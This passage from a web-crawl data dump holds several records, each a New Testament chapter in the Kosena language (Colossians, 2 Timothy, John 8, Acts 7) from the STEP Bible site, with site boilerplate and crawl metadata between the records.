máyáan-kwaasi kwétuwaꞋnaa-indaraꞋa áíꞋa índaiꞋa umánkanaaowe siráinkaꞋa minúmbáí-yántááꞋá kesópaꞋa tiráisaꞋa mimbáyáí kwémayaundanivo kwétuwaꞋnaa-unda síꞋa iníꞋa kwéumasinkaamba sirunkó kaweꞋá kwéiye. 25 Áánútuna kwaásiraꞋa mayáí maéꞋa kwenáái amápaꞋa simátímaꞋmae iyéꞋa kaweꞋá umátinkeꞋa túwaꞋnaa ónaundayavena Áánútu usásisinkaraiye. 26 ááéma Áánútu mináímbá aúpáꞋá makáimba ááémo paáruron-kwaasiye minkáꞋó paáruraan-kwaasiye íma ísaraawana ívéꞋa Áánútu kwená kwaási kwéagaraatinkaiye. 27 Áánútu toꞋmayaa umái aúpáꞋá makáimba imáyáa éna séna amápa-kwaasiyaveꞋa óꞋoran-kawe-tantaaꞋa toꞋmayaa úmakaunda agaráátinkanaumne siráiye. toꞋmayaa umái aúpáꞋó makáimba maarán-iye. Káráísiti kempímbá máyáimba póꞋa kwesé óꞋora-sagayan-ayampaꞋa ménaaowe. Áánútu mirán-áímbá isáígwáe séna ívéꞋa kwená kwaásiya kwésimasimintaawe. 28 mindáyaveta amáparawaiya Ísu Káráísitin-aaiya kwésimatimune. amáparawai Ísu Káráísitiye tarúmaimo mésa táákaevayan-kwaasiraamba umái mésa Áánútun-aaiyavesa asiramái imáyáa kwéesa ménaaontaveta Áánútumo símakain-kawer-imayaanei simátímaꞋmaeta kwéiyeta séta kárákwiyoro kwésune. 29 mimbáyáí áúgwaraꞋ-mayai kwénintaveꞋa siyáántán-kwimai kwémayaumne. Ísu Káráísiti óꞋoran-asirayamba kwésimisana minásíráyánkó kaweꞋá umásínkáisaꞋa siyáántán-kwimai mimbáyáí kwémayaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Col.1","date":"2018-04-23T09:17:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945940.14\/warc\/CC-MAIN-20180423085920-20180423105920-00158.warc.gz","language":"kze","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000063180923462}","num_words":782,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timothy 41 Tímótiyo Áánútu aúrankare Ísu Káráísiti pukáan-kwaasiye túvamai úwoi máyáan-kwaasiye miwítí ááimba tísaa íníwai aúrankare asiramái simámeꞋa séꞋa Ísu Káráísiti marapáꞋá kumínín-imayaa éꞋa kwená kwaásiraꞋa kawáá ínín-imayaa éꞋa asiramái simámeꞋa séꞋa 2 amápa-kanaa Áánútun-aai asiramái simátime kawe-kánáámó índa simátime sáwí-kanaamo índa úwoi mindágwaraꞋa simátime kwempakémbá kwésimatiminana mináínkó tirumbá kwantáínasa isáíyama miwítí imáyáa arupí umái asiramátinke simátímaꞋmae iyé íma ivátuwaao. 3 naaémba moórá-kanaa tínasa árair-aimba íma ísámae iyónááontavai ívéꞋa árair-aimba simátímaꞋmae iyuwó. naaémba moórá-kanaa tínasa sáwí-yantaatavesa tirááíyavesa kwéesa aamoí ónááon-aimba simátimenaaon-kwaasiyavesa tivakáá ésa miwí tááiye suꞋmai isésa 4 árair-aimba tínaaemba umámesa manír-áímbá isánááombanivo 5 emá asiramái ménana umbai-yántááꞋó enópaꞋo tínímba asiramái méma Áánútun-aai simátímaꞋmae iyé kwená mayáí kwémae ánásaao.\n6 Áánútuntavesamo imáyáamo ésamo nombó atíyuwaantemba sáwíyankaꞋa kembá Póromba sínkamiyana kesí naaeó miráumai kumínaꞋa puwónaumne. 7 isaaisésamo kwégontemba kaweꞋá umái kwégweꞋa ayááíráꞋá koméꞋa Áánútuna árair-aimba tátokeꞋa simátímakaunda 8 Ísóigo kesí meéyámbá tátokaimba póna arupí umáímo máyaunda-anonda simíníye. naaémba Ísóigo arupí umái-meyambo timíníwai siména íma keyáá kembá siména marapáꞋó kumíníntavesamo aamoimó ésamo amuꞋmakáawaigwaraꞋa kwétimena simíníye.\n9 Tímótiyo sáwíyankaꞋo kesópaꞋo tíníyonda-imayaa kwée maiyó. 10 moóráwai áwíꞋa Tímasi marapá-tántáátávéna aamoí éna póna siyuwéna Tésárónaikaa-naopaꞋa kówisana moóráwai áwíꞋa Kéréséni Kárésiyaa-maravaꞋa kówisana moóráwai Táítási Táómésiyaa-maravaꞋa kówisana 11 Árúku kweyáá kesé máyáivo Máákaamba koáíꞋmae kesópaꞋa tiyó. Mááka tasúwaꞋnaa umai Áánútuna mayáí tamayáníye. 12 moóráwaimba Tikikásaamba aiꞋmaráúnana Évésasi-naopaꞋa kóuraiye. 13 ááéma Táróasi-naopaꞋa kesí kwááꞋa tuwááwánana Kápása kárákwiraivo maimaé téma aúváí-kwandaaigwaraꞋa aiva-tántááꞋá sáwíyan-auvaigwaraꞋa maimaé tiyó.\n14 moóráwai áwíꞋa Arekesándaa kwená mayáí kópaa-ontandei évaka-tantaaꞋa kwéiwai anómba sáwíꞋa umásínkáimba póna Ísóigo anondá sáwí-meyamba amíníye. 15 Áánútun-aai simátimewanda kwemá simái arááísukaivo kwembá kárákwiyuwo.\n16 aiva-táwaimo aaimó simásínkáamba mináímbó sénáeꞋo kwéunda amáparawai íma sááyavo tésa siráváyáawaꞋa ÁánútuntaveꞋa íma anondá sáwíꞋa umátinkaao súne. 17 miwí íma siráváyáawana Ísóigo sirávayena asirayámbá símísaꞋa Áánútun-aai amápar-aimba simátímakaunda íma Yútaa-kwaasiraꞋa ivo óꞋonkaa-kwaasiraꞋa siráunda ísaraawe. áwáávitemo in-íyánkó óipinkembo mayauwénamo kawepáꞋó móánkáintemba Ísóigo aaivimbá kwémaisinkaampinkemba síkena 18 sáwíꞋo kwéumasinkempinkembo éna síꞋmai kwíyómpaꞋa kwemó kwégawaaipaꞋa kaweꞋá umái mósinkaniye. kwená ságayambo kwaíkwaiꞋo ínímba árair-aimban-iye.\n19 Párísikaante Ákwíraante simátime se kaweꞋá umái máékaiyo siyó. Ónésívorasaante kwená naaúmpaꞋa máyáan-kwaasiye simátime se kaweꞋá umái máéro siyó. 20 Érásátasi Kórínti-naopaꞋa máísana Tóvimasa áíꞋa kwéuwaꞋa Máíritasi-naopaꞋa auwéꞋa tiráumne. 21 áúꞋo sií-kánáá íma tiráina imáyáa é kesópaꞋa tiyó. Yúpúrásawe Púténésiye Áráínásawe Kírótiyawe amápaꞋa Áánútuna kwaásiye entávésa sésa kaweꞋá umái maiyó kwésewe.\n22 Ísóigo keinárawate ména úwoi kwétuwaꞋnaa-intaveꞋa námúnaa kwésune.\nkemá Póromo súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Ti.4","date":"2018-04-25T18:27:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00584.warc.gz","language":"kze","language_score":0.9999563694,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999563694000244}","num_words":516,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 8\nmoórá-ininko óꞋon-kwaasiye máyon-kwasai.1 Óríve-omapaꞋa Ísu uména 2 aaváyaavimba kuména anóm-bonoꞋ-naumpaꞋa umáyowasa kwaásiyomba kwenópaꞋa torupowaná maraꞋá ména kwenáái simátimuwasa 3 ámáámba sun-kwáásíyé ámáán-kawaa-kwaasiye aaraí áíꞋmaesa minínínkó óꞋon-kwaasiye máyomba pósa áíꞋmai amáparawai túrankaꞋa ankésa 4 Ísuntavesa sésa anóndakoo minínímbá óꞋon-kwaasiye máyáísata awánéta tátoꞋmai áíꞋmaeta túne. 5 ámáán-auvaivimba Mósesi agaimaréna séna mirámó índawaimba óntandei tuvúwónanaya puwíníye agaimaréna siráiye. nóran-imayaa éwa seénó sésa 6 Ísumba maka sésa mirá senaná paárínata kwembá aaivimbá mayankánáe sésa suwaná Ísu kívairena ayáánauviꞋnei mararáꞋá aúvái agaimarówasa 7 áísaa aisaa uwaná usásinena simátimena séna imó sáwíꞋo uráindawai aivar-óntámbá maimé tuvuwíno simátimena 8 moórágwaraꞋa kívairena ayáánauviꞋnei mararáꞋá aúvái agaimarówasa 9 isésa moórá-mora-kwaasi kunákárúwasowana anón-kwaasi aivaꞋá kumúwasa miwán-ánaaemba kwaꞋmaésa kúmúwana minínínkówé suꞋmai Ísuwe máyowana 10 usásinena áísaa ena séna náávara máyaao. amáparawai íma aaivimbá mayankánááoo súwana 11 owé íma aaivimbá maisinkánááowe súwana kegwáráꞋá íma aaivimbá mayankáúna kómpo moórágwaraꞋa íma mirán-uwo Ísu siráiye.\nkwaási sáma kamátinkainaꞋa úne Ísu siráin-kwasai.12 ókwaraꞋa Ísu kwenáái simátimena séna kwaási sáma kamátinkainaꞋa úne. kesínaaembo kwaráíyawai íma tunínívo sáma kamái maíꞋmaiꞋa ónááowe súwasa 13 ámáán-kawaa-kwaasi sésa eyáá ená ááimba séndamanivo íma áraiꞋa kwésene suwaná 14 Ísu séna ímanivo kesááigona ááimba áraiꞋa kwésune. áꞋa awánáúndavakemba kunkáundayavai áꞋa awánáúndavaꞋa iyónaunda póꞋa kemá súnda-aimba áraiꞋa kwésune. kesí ááimba íma suwánaraawe. 15 marapá-kwáásí kentí imáyáavinkemba aaimá maisínkaavo kemá íma aaimá kwémaitinkaumne. 16 kemó aaimó maitinkáundarakai arupí úsino. íma kewé suꞋmai aaivimbá maitinkánaumpo kesé kesivoé aaivimbá maitinkáyauye. miráumai kemó aaimó maitinkáundarakai arupí úsino. 17 kentí ámáán-auvaivimba agaimaréna séna kae-kwáásíráí moórá-aimbo séyambo ékai mináímbá áraiꞋa kwéseye agaimaréna siráiye. 18 miráumai kemá kesáváí simátimunana kesivoé kesé mimbórá-áímbá simátimuyamba póna árair-aimban-iye súwasa 19 enavomá náávara máyáiyo áísaa esa suwaná kesí ááimbo ímo suwánaantavai kesivombá íma kwéawanaawe. kesí ááimbo suwánaankakenkai kesivombá awánaasino Ísu súmba 20 anóm-bonoꞋ-naumpaꞋa óntambo túwón-daumpaꞋa mináímbá simátimuwasa tátoranae sésa suwááesa kwená kanaamá íma túntavesa íma tátokaawe.\n21 minkákémbá Ísu simátimena séna tiyuwéꞋa íyónaꞋa sivakáá uwááeꞋa íma suwánanaaowe. puwíyamba kentí sáwí-imayaa kwáyáinaꞋa puwónááowe. íyóndavaꞋa íma kanaán-umai iyónááowe súwasa 22 Yútaa-anon-kwaasi sésa kwemá séna íyóndavaꞋa íma kanaán-umai iyónááowe simbá póna kweyááríkara puwíndayavena siíyo suwaná 23 Ísu séna keinárawaꞋa maankákén-kwáásímán-ovo kemá sanaankéndáꞋá úne. keinárawaꞋa marapákén-kwáásímán-ovo kemá kwíyómpakendaꞋa úne. 24 simátimeꞋa séꞋa puwíyamba kentí sáwí-imayaa kwáyáinaꞋa puwónááowe. kemá kwíyómpakendaꞋa úmpo kentávéꞋo ímo áraire séꞋo éꞋa kentí sáwí-imayaa kwáyáinaꞋa puwónááowe súwasa 25 mináínkóná ááimba íma ísámai áísaa esa sésa nááwawa oónó suwaná Ísu séna aasiyaasi-táwai áꞋa simátímakaumne. 26 keinárawataveꞋa sáwívar-aimba kanaán-umai séꞋa aaivimbá maitinkáundanivo siꞋmákaiwaina aaiyé suꞋmai amáparawaiyaveꞋa kwésimatimune. kwemó arupí iwáín-áái kwésimatimune súwasa 27 Áánútun-aaima súmbanivo íma ísówana 28 mindáyavai Ísu séna kemá kwaási úrandaꞋa kumpaáruraundawai síꞋmaeꞋa taairaꞋá mói sínkamonaaomba póꞋa suwánéꞋa séꞋa kwemó siwáímá kwená imáyáavinkemba íma sivo avowamá simámakain-aimpinkemba siráiye mirá sénááowe. 29 siꞋmákaiwai aamoí ínkwáe-iꞋa úmae kwéiyunda póna íma siyuwéna kesé máyáiye súwasa 30 sáwíva-kwaasi isésa kwentávésa áraiꞋa kwíyómpakendaꞋan-iye siráawe.\ntátokaawanamo Ísu ayútínkáin-kwasai.31 Ísuma Yútaa-anon-kwaasi kwentávésa áraiꞋa kwíyómpakendaꞋa iyémó sirówaiyavena séna kesááimo ísámaimo kaweꞋó éꞋo éꞋa kesí kwaási aúꞋmái ménaaowe. 32 árair-aimba íséwana tátokaiyampinkemba mináráír-áínkó ayútinkaniye súwasa 33 Ááváramun-andaraken-kwaasi únda póta íma óꞋon-kwaasi tátokaawe. nóra se ayútinkaniye seénó suwaná 34 Ísu séna áraiꞋa simátimeꞋa séꞋa sáwíꞋo kwéowaima misáwíkómá kembá kwétatoraiye. kesí mayáí úwoi mayáígwáe sésa meéyámbaꞋmai tátokaantenkaan-kwaasin-owe. 35 mirán-kwáásí kawáánákóná naaúmpaꞋa íma maíꞋmaiꞋa ónááovo kwenáánimbaaꞋa maíꞋmaiꞋa ónááowe. 36 kemó Áánútu ááninkomo ayútínkáanaꞋo éꞋa ayútuweꞋa ménaaowe. 37 Ááváramun-andaraken-kwaasi ombánivo kesáái íma tirumpimbá kwáyáintaveꞋa tuvuwónáe kwésewe. 38 kesivo agaráásínkáin-aimba kwésumpo kentivomá simátímín-aimba kwésewe súwasa 39 Ááváramu kentáásivoman-iye suwaná Ááváramun-andarakewaimo ékai Ááváramumo úntemba mirá uráasino. 40 Áánútu árair-aimba simásímakaimba simátimundanivo tuvuwónáe kwésewe. Ááváramu íma mirá uráivo 41 kentivomó uráintemba mirá kwéowe súwasa kesáámá íma kesinóma eénkwááírákémbá kentáá masínkaraiye. kentáásivoma mimbóráwáí Áánútuman-iye suwaná 42 Áánútunopakemba kunkáunda póꞋa Áánútu árááꞋo ékai kentirumbá simésino. íma kesí imáyáavinkemba kunkáumpo kwemá siꞋmáráísaꞋa kunkáumne. 43 kemó súnda nóra séra íma kwéisaao. kesááigo umbaí kwétiyaiye. 44 kemá Sáátáánigo árááꞋa póꞋa kwenarááíma kwaránáe kwésewe. kwemá ááinkakemba tuvúkáiwaiman-iye. áraiꞋo sií-yántááꞋá íma kwempímbá kwáyáísana kampaꞋnaampar-áínkómá avowaíꞋa kwéiye. 45 miráumai árair-aimba simátimundayavai árair-aimba iyémá íma kwésewe. 46 íma sáwíꞋa uráunda kwéisaawe. arupí-aimba simátimunaꞋanivo íma áraire kwésewe. 47 Áánútu árááꞋa pósa kwenáái isésa máyáavo keinárawaꞋa íma Áánútu árááꞋmaariꞋa uréꞋa póꞋa kwenáái íma ísaraawe Ísu siráiye.\n48 Ísu simásuwowasa Yútaa-anon-kwaasi akáꞋáámba simánkesa sésa áraiꞋa séta Sámériyaa-kwaasi ónana taraváá-kwámbá enarumpimbá máyáísampo mináímbá siráane suwaná 49 Ísu séna taraváá-kwámbá íma kesirumpimbá máyáiye. kesivo áwíꞋa anómba úndanivo kesúwíꞋa sáwíꞋa umásínkáawe. 50 íma kesúwíꞋa anómba ónáe. Áánútu kentávéna séna kaweꞋ-máyáí mayáánda póꞋa enáwíꞋa mósá anómba umánkanaumne kwésiye. 51 áraiꞋo senda-áímbá kesáái ísámai kaweꞋá íyawai íma puwónááowe súwasa 52 Yútaa-anon-kwaasi sésa sénda-aimba taraváá-kwámbó enarumpimbó máyáimba áta ísaraumne. Ááváramu puwúwasa Áánútun-aai simátímakowaima púwúmbanivo emá se kesáái ísámai kaweꞋá íyawai íma puwónááowe siráane. 53 kentáásivo Ááváramu puwúwasa Áánútun-aai simátímakowaima pukáambanivo miwí usáyaaitaniyono. emó sénda náávakendaraꞋono suwaná 54 Ísu séna kesúwíꞋo mósá maráúndarakai úwoi úsina. kesúwíꞋo mósá maránímba kesivomán-iye. kwentávéꞋa séꞋa kentáásí Ísóigoman-iye kwésewe. 55 kwembá kwéawanaumpo kemá íma awánaraawe. kemó séꞋo íma awánáúmnemo súndarakai kemó ontembá kampaꞋnáꞋá maúsino. áꞋa kwéawaneꞋa póꞋa kwenáái mósá kwémaraumne. 56 kentivo Ááváramu kemó marapáꞋó kumónaunda-aimba iséna aamoí éna kembá suwánéna kwenarunkó kaweꞋá uráiye súwasa 57 Yútaa-anon-kwaasi sésa emá ívé-kwaasi íma kae-kwááí umái siyáánkai-ima maisukáampo emá séma Ááváramumba awánaraumnewa seénó suwaná 58 áraiꞋa simátimeꞋa séꞋa Ááváramumbo ímo maránkaronkaꞋa kemá maémaundaniye súwasa 59 mináíntáváí tuvuwónáe sésa óntamba máyómbanivo Ísu aúpáꞋá anóm-bonoꞋ-naumpakemba kárúwaguraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.8","date":"2018-04-23T09:04:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945940.14\/warc\/CC-MAIN-20180423085920-20180423105920-00168.warc.gz","language":"kze","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999995231628418}","num_words":944,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timothy 11 Tímótiyo kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-iꞋa éma Ísu Káráísitin-aai kosimátímaꞋmae naauwó séna siꞋmákaiye. Áánútu asiramái séna Ísu Káráísitiye tarúmai máyáamba póꞋa aúnáiꞋa umái maíꞋmaiꞋa ónááowe siráin-aimba kosimátímaꞋmae naauwó séna siꞋmákaiye. 2 Tímótiyo kesááninkaamba éma sirumbó kwéamundawai ómpo maanáímbá maanáúváívímbá agaimaráúmpo isaaó. Áánútu kentáásivowawe Ísu Káráísiti kentáásí Ísóigowe úwoi áwaꞋnaa ésarai tirumbá umánkesarai paru umánkaayantaveꞋa námúnaa kwésune.\n3 kesíkwáꞋnámo Áánútumbo kwakáantemba kemá mirá kwéunana mindáyavena kesirumpimbá íma aaí kwáyáiye. ÁánútumpaꞋa námúnaa kwésunda entávéꞋa imáyáa éꞋa aasiyaasí áísaa umai súwi kwésimankaumne. 4 iviꞋó tamásínkaraanda imáyáa éꞋa ókwaraꞋa awánanae-imayaa úmae kwéiyeꞋa embó awánaanda sirunkó anón-kaweꞋa íníye. 5 Ísu Káráísitin-aaiyavemo árairemo sendá ímo óikakembo séndamo arunkakémbó séndayaveꞋa imáyáa kwéune. aivaꞋá enaráárámá áwíꞋa Árówísi Áánútun-aaiyavena áraire siráimba minkákémbá enanó áwíꞋa Yúnísi Áánútun-aaiyavena áraire siráimba egwáráꞋá mirá kwée ÁánútunkaꞋa agevamái máyaanda áraiꞋa mindá ísaraumne. 6 mindáyaveꞋa simámeꞋa séꞋa Áánútumo asirayámbó ámakaimba tátoke kwená mayáí mayaaó. Áánútuna mayáímó mayáníyondayaveꞋa siyáámba aneꞋá tátoraawanana Áánútu asirayámbá ámakaiye. 7 Áánútu imáyáaya símakowata asiramáíya méta íya sáátaveta éta imáyáaya kwétimeta kesúrata kárákwimai kawer-urétaaya úndaya po Áánútumo asirayámbó ámakaimba tátoke kwená mayáí mayaaó.\n8 mindáyavai kentáásí Ísóigo siráin-aimba kwésimatimendayavai íma ááꞋa kaíno. Ísóigona kwaási-iꞋa úndarakemba ándávaꞋa sínkaraawaꞋa máyaundayavai íma ááꞋa kaíno. Áánútu asirayámbá kwéamimba po áséi-kwasai kwésimatiminasamo áíꞋo índaiꞋo umánkanaaomba síꞋo úniꞋo umásínkaraantemba umánkanaaomba íma imáyáa éma asiramái maiyó. 9 Áánútu séna sáwí-imayaavinkemba iyátínkáanaꞋa kaweré suꞋmai umái máéro siráiye. kesáá kaweꞋ-máyáí mayáúndayavenaya ímanivo kwená imáyáavinkemba séna úwoi túwaꞋnaa ónaumne siráimba póna kentáásí sáwí-imayaavinkemba iyásinkena séna kaweré suꞋmai umái máéro siráiye. ááinkaꞋa Áánútu maramá íma taróruronkaꞋa Ísu Káráísitina mayáíyávéna imáyáa éna séna úwoi túwaꞋnaa ónáeꞋa toꞋmayaa úne siráiye. 10 Áánútu kentááyávénawe séna toꞋmayaa uráimba paárúwana Ísu Káráísiti marapáꞋá kuména kentáásí sáwí-imayaavinkemba kwéiyasinkaiye. kwaási púwówaina ááimba kwemá usáyaaitena ánásasuwowasa kwíyómpaꞋa aúnáiꞋa umái maíꞋmaiꞋa ésa íma puwónááowe. mináséí-áímbá paárúwata ísaraumne.\n11 mináséí-kwásáí simátimenaundayavena Áánútu simásimena séna aantá-kwaasi-iꞋa éma aiꞋmáráana maanáséí-kwásáí simátímaꞋmae naauwó súwaꞋa 12 mirá ówándarakemba síꞋa úniꞋa umái ándávaꞋa sínkaraawaꞋa méꞋa íma sigaeyávéꞋa kwéune. moóráwain-aaiyaveꞋo árairemo séꞋa kwenkáꞋó agevamáímo máyaundawaimba awánéꞋa símakaim-bayai kwégarakwiyisaꞋa mináímbá árair-aimban-iye súnda póꞋa íma sigaeyávéꞋa úne. Áánútu kwaásimo máyáawaina ááimba tísaa ínín-kanaama íma tiráindaraꞋa símakaim-bayai kwégarakwiyiye. 13 Tímótiyo árair-aimba simámakaunda arumpimbá tátore kwaré Ísu Káráísitiye tarúmai mé kwenááiyavai áraire kwése kwembá arumbá amé mirá úmae iyuwó. 14 Áánútu árair-aimba simámakaimba Áánútun-amanko kentáásirumpimba máyáimba po kwená asirayándéí mináráír-áímbá kárákwiyuwo.\n15 Ésiyaa-maravaken-kwaasi amápaꞋa tínaaemba umásiyukaampinkemba kae-kwáásí moóráwai áwíꞋa Vísérasa isaná moóráwai áwíꞋa Émósénisi isamá mináímbá ísaraane. 16 moóráwai áwíꞋa Ónésívorasa kesópaꞋa tóyo éna kawer-áímbá simásimena kesí imáyáa aúnáiꞋa umásinkena ándávaꞋo máyaunda íma agaeyávéna isaꞋá mindáyaveꞋa ÍsóigompaꞋa námúnaa súnda Ónésívorasa kwená naaúmpaꞋa máyáan-kwaasiye kaweꞋá umátinkaniyone séꞋa námúnaa kwésune. 17 kwemá Árómáa-naopaꞋa taména sivakáá úmae kwéiyena ándávaꞋo máyaunda tasuwánéna kesí imáyáa aúnáiꞋa umásínkaraiye. 18 ááéma Évésasi-naopaꞋa komáyaawanana sáwíva-tawai kwemá súwaꞋnaa úwa áꞋa awánaraane. mirá uráintaveꞋa séꞋa Ísóigo kwaásimo máyáawaina ááimba tísaa ínín-kanaa tínana Ísóigo kwentávéna arumbá umánkaniye súne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Ti.1","date":"2018-04-20T14:38:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125938462.12\/warc\/CC-MAIN-20180420135859-20180420155859-00581.warc.gz","language":"kze","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999953508377075}","num_words":608,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 7\nSítíveni monor-ánón-kwáásí simátímakain-kwasai.1 mirá simásúwówana aivaꞋ-mónó-káwáánákó Sítívenimba áísaa ena séna kwésen-aimba árair-ainaꞋi. kampar-áínáꞋiyo súwana 2 Sítíveni séna kesivoísáí kesuwaaísáíyó simátíménda ísáaro. naaóváꞋá kentáá síkwáꞋnáo Ááváramu íma ÁránaavaꞋa komáyonkaꞋa Mésópótemiyaa-maravaꞋa máyonkaꞋa Áánútu asirayánkwáráwáí kuména 3 Ááváramuntavena séna ená maragwárá enamááraawigwaraꞋa tiyuwé kwinaꞋá moórá-marama agarááránkáandavaꞋa koméniyone súwana 4 iséna mimbárámá Káútéa-kwaasiti maraváꞋá tuwéna teémena ÁránaavaꞋa tamáyowana avowá puwúwana Áánútu aiꞋmarówana teémena maaváꞋá máyaundavaꞋa túwana 5 minkánáá Áánútu íma maramá amúmba asiramái séna aáno maambárámá enkwárá enaísaavutantambo íyawaigwaraꞋa timénaumne. Áánútumo súmba Ááváramu iyámpói íma maránkaronkaꞋa mináímbá simámena 6 moórá-ainkwaraꞋa séna enaísaavutantambo íyawai óꞋon-kwaasiti maraváꞋá koméwasa umbai-máyáí timésa sáwíꞋa umátínkéwana sáwívar-ima 400 ima ánásainaꞋa 7 sáwíꞋo umátinkanaaowaima sáwí-meyamba timénaunda pósa enaísaavutantambo íyawai mimbárámá tuwésa maaváꞋá tésa kesí imáyáa mósá maránááowe séna 8 mináímbá naaóváꞋá Áánútu Ááváramuntavena séna aáno maambárámá enkwárá enaísaavutantambo íyawaigwaraꞋa timénaumne siráimba mináímbá simái tarúmarena póna túraꞋa kárámai araaꞋéna uwó Áánútu siráiye.\nsúwana Ááváramu ména Áísákaamba ankéna avakaumboé-noꞋwaamba kwaéna áúraꞋa kárámai araaꞋéna umánkowana Áísákaa anón-éna Yákópomba ankéna áúraꞋa kárámai araaꞋéna umánkowana Yákópo anón-éna sísamaivakemba kaeꞋá kumbaimái-iyampoi tinkéna túraꞋa kárámai araaꞋéna umátínkávaꞋa kuráiye.\n9 mirá umátínkávaꞋa kúwasa mináváráwáínónda tíváko áwíꞋa Yósépintavesa naaénkewai íma kentááráꞋá kárákwiyiniye sésa tirumbá sáwíꞋa umánkesa áíꞋmaesa óꞋon-kwaasivaꞋa mátimesa óntamba máyówasa miwí Yósépimba áíꞋmaesa kweémesa Ísípi-maravaꞋa máánkówana Áánútu kwesé máyowasa 10 umbai-máyáí amésa sáwíꞋa umánkómbanivo Áánútu kwesé ména áwaꞋnaa ena kawer-ímáyáá aména kwená umbai-yántááꞋá ánásamankowana mimbárámá 